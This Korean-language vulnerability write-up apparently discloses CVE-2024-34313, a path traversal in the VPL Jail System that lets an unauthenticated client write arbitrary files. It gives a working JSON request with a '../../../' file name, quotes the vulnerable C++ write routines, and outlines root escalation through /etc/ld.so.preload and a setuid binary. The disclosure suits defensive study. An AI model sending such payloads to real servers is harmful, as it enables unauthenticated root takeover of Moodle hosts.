
☣️ 이 저장소에는 CVE-2024-34313에 대한 설명과 개념 증명이 포함되어 있습니다.
VPL Jail System v4.0.2까지에서 경로 탐색(Path Traversal) 취약점이 발견되어 임의 파일 덮어쓰기 및 이를 통한 루트 사용자로의 권한 상승이 가능합니다.
이 취약점은 CVE-2024-34312와 연계하여 사전 인증 없이 원격으로 Moodle 인스턴스를 장악하는 데 사용될 수 있습니다.
jail 서버는 신뢰할 수 없는 코드를 샌드박스 환경에서 권한 없는 사용자로 실행하는 C++ 서버입니다. 서버는 지정된 포트에서 들어오는 연결을 수신하고 각 연결마다 새 프로세스를 생성합니다.
jail.cpp의 commandUpdate 함수는 클라이언트로부터 파일 이름과 내용의 맵을 수신합니다.
ProcessMonitor::writeFile은 파일 이름과 내용을 인수로 호출되며, 단순히 jail 사용자의 홈 디렉터리와 파일 이름을 연결하여 전체 경로를 생성합니다.
그런 다음 Util::writeFile을 사용하여 파일이 파일 시스템에 기록됩니다.
이로 인해 공격자는 경로 탐색을 통해 파일 시스템에 임의 파일을 기록할 수 있습니다.
이 취약점은 공격자가 /etc/ld.so.preload를 덮어쓰는 데 사용할 수 있으며, 여기에 설명된 대로 시스템의 모든 동적 링크 실행 파일에 로드될 공유 객체 파일의 경로를 지정할 수 있습니다. 이 공유 객체 파일은 루트 셸 실행과 같은 임의 코드를 루트 권한으로 실행하는 데 사용될 수 있습니다. 악용을 쉽게 하기 위해 setuid 바이너리가 실행될 때도 공유 객체 파일이 로드되도록 하며, 서버에 대한 요청에는 sudo와 같은 setuid 바이너리를 실행하려는 스크립트를 포함시켜 공유 객체 파일이 즉시 로드되도록 할 수 있습니다.
jail 시스템의 기본 구성에서는 공격자가 어떤 인증도 필요하지 않습니다.
시스템 루트에 "hello-world.txt"를 작성하는 예제 페이로드는 다음과 같습니다:
{
"method": "request",
"params": {
"filestodelete": [],
"files": {
"../../../hello-world.txt": "Hello, world!"
},
"fileencoding": {
"../../../hello-world.txt": 0
},
"adminticket": "82350372182271",
"pluginversion": 2021061600,
},
"id": "3-32354-684945600",
}
adminticket은 인증되지 않은 요청을 jail 시스템에 보내 쉽게 얻을 수 있습니다. 이름과 달리 세션 토큰의 한 형태일 뿐입니다. fileencoding을 1로 설정하면 Base64로 인코딩된 바이너리 파일을 업로드할 수 있습니다.
취약한 코드 조각은 아래와 같습니다.
bool Jail::commandUpdate(string adminticket, RPC &rpc){
processMonitor pm(adminticket);
try {
mapstruct files = rpc.getFiles();
Logger::log(LOG_INFO,"parse files %lu", (long unsigned int)files.size());
mapstruct fileencoding = rpc.getFileEncoding();
//Save files to execution dir and options, decode data if needed
for(mapstruct::iterator i = files.begin(); i != files.end(); i++){
string name = i->first;
string data = i->second->getString();
if ( fileencoding.find(name) != fileencoding.end()
&& fileencoding[name]->getInt() == 1 ) {
Logger::log(LOG_INFO, "Decoding file %s from b64", name.c_str());
data = Base64::decode(data);
if ( name.length() > 4 && name.substr(name.length() - 4, 4) == ".b64") {
name = name.substr(0, name.length() - 4);
}
}
Logger::log(LOG_INFO, "Write file %s data size %lu", name.c_str(), (long unsigned int)data.size());
pm.writeFile(name, data);
}
return true;
}
catch(...){
// ...
}
return false;
}
void processMonitor::writeFile(string name, const string &data) {
string homePath = getHomePath();
string fullName = homePath + "/" + name;
bool isScript = name.size()>4 && name.substr(name.size()-3) == ".sh";
if (isScript) { //Endline converted to linux
string newdata;
for (size_t i = 0; i < data.size(); i++) {
if (data[i] != '\r') {
newdata += data[i];
} else {
char p = ' ', n = ' ';
if (i > 0) p = data[i-1];
if (i + 1 < data.size()) n = data[i + 1];
if (p != '\n' && n != '\n') newdata += '\n';
}
}
Util::writeFile(fullName, newdata, getPrisonerID(), homePath.size() + 1);
}else{
Util::writeFile(fullName, data, getPrisonerID(), homePath.size() + 1);
}
}
static void Util::writeFile(string name, const string &data,uid_t user = 0,size_t pos = 0){
FILE *fd=fopen(name.c_str(),"wb");
if (fd == NULL) {
string dir = getDir(name);
Logger::log(LOG_DEBUG,"path '%s' dir '%s'",name.c_str(), dir.c_str());
if (dir.size())
createDir(dir,user,pos);
fd = fopen(name.c_str(),"wb");
if (fd == NULL)
throw HttpException(internalServerErrorCode
,"I can't write file");
}
if (data.size() > 0 && fwrite(data.data(), data.size(), 1, fd) != 1) {
fclose(fd);
throw HttpException(internalServerErrorCode
,"I can't write to file");
}
fclose(fd);
if (lchown(name.c_str(),user,user))
Logger::log(LOG_ERR, "Can't change file owner %m");
bool isScript = name.size() > 4 && name.substr(name.size() - 3) == ".sh";
if (chmod(name.c_str(), isScript ? 0700 : 0600))
Logger::log(LOG_ERR, "Can't change file perm %m");
}